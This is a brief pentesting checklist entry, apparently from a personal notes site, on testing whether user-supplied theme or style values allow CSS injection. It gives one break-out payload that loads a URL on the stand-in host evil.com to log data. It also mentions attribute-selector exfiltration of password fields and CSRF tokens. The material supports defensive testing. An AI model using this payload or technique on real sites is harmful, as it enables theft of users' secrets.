pentesting, updated

Testing for CSS injection

Check whether user-controlled CSS can be used to exfiltrate data via selectors/attribute reads, or deface the page.

Goal

Confirm user-supplied style values can’t inject arbitrary CSS rules.

How to test

If the app lets users set a theme color, custom CSS, or similar, try breaking out of the expected value:

red; } * { background: url(https://evil.com/log?c=) }

CSS attribute selectors can exfiltrate data character-by-character from password fields or CSRF tokens in some setups — worth a deeper look if raw CSS injection is confirmed.

What to look for

Injected CSS rules taking effect outside the intended property, especially if they can read attribute values or load external resources.

References

§ home
~/knubertus/home/
1,1 Top